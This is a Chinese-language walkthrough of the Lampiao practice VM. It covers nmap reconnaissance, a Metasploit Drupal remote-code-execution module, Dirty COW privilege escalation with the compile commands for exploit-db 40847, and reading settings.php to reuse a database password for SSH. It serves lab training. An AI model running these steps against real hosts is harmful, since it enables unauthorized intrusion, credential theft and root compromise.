环境搭建
靶机:Lampiao靶场 Ubuntu系统
攻击主机:Kali Linux
IP:172.16.100.136
漏洞复现
一、信息收集
1.首先我们需要对网段 172.16.100.0/24进行扫描扫描0-2000端口
nmap -p 0-2000 172.16.100.0/24
扫描结果
2.尝试访问80端口,得到如下测试页
3.继续尝试访问1898端口,得到如下界面
同时还发现了Drupal CMF内容管理框架,之后我们对网站进行目录扫描爆破
能够拿到robots.txt文件,同时我们还发现了CHANGELOG.txt文件
4.尝试访问CHANGELOG.txt文件
5.通过文件的第一行我们可以看出Drupal的版本号为7.54,尝试信息收集它的相关历史漏洞。
Drupal CVE-2018-7602 远程命令执行漏洞
二、漏洞利用
1.尝试拿到靶机的shell,使用msf,搜索Drupal相关漏洞
msfconsole
search Drupal
2.尝试使用2018年的这个漏洞
use 1
3.设置监听目标地址,目标端口,运行
set rhost 172.16.100.138
set rport 1898
run
三、权限提升
1)脏牛提权(CVE-2016-5195)
1.上传一个漏洞检测脚本到靶机的tmp下
2.进入完整交互shell
-c选项:执行python代码
python -c 'import pty; pty.spawn("/bin/bash")'
3.给脚本提权
chmod +777 linux-exploit-suggester.sh
4.执行脚本
./linux-exploit-suggester.sh
这里给出来的不太好用,我们可以去github找CVE-2016-5195相关的exp来利用,将下载的exp传入靶机
下载链接:https://www.exploit-db.com/download/40847
5.进入shell进行编译
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o cowcow 40847.cpp -lutil
1.-Wall 一般使用该选项,允许发出GCC能够提供的所有有用的警告
2.-pedantic 允许发出ANSI/ISO C标准所列出的所有警告
3.-O2编译器的优化选项的4个级别,-O0表示没有优化,-O1为缺省值,-O3优化级别最高
4.-std=c++11就是用按C++2011标准来编译的
5.-pthread 在Linux中要用到多线程时,需要链接pthread库
6.-o dcow gcc生成的目标文件,名字为cowcow
6.运行cowcow,可以得到root用户的密码
7.尝试登录
成功提权。
2)可以利用ssh登录来进行脏牛提权
1.寻找靶的数据库账号和密码
pwd
cat sites/default/settings.php
收集到以下信息
数据库:drupal
账号:drupaluser
密码:Virgulino
2.查看用户名
ls /home
用户名为tiago
3.尝试登录ssh
使用用户名:tiago 数据库密码:Virgulino 进行ssh登录
ssh tiago@172.16.100.138
接下来的步骤同1)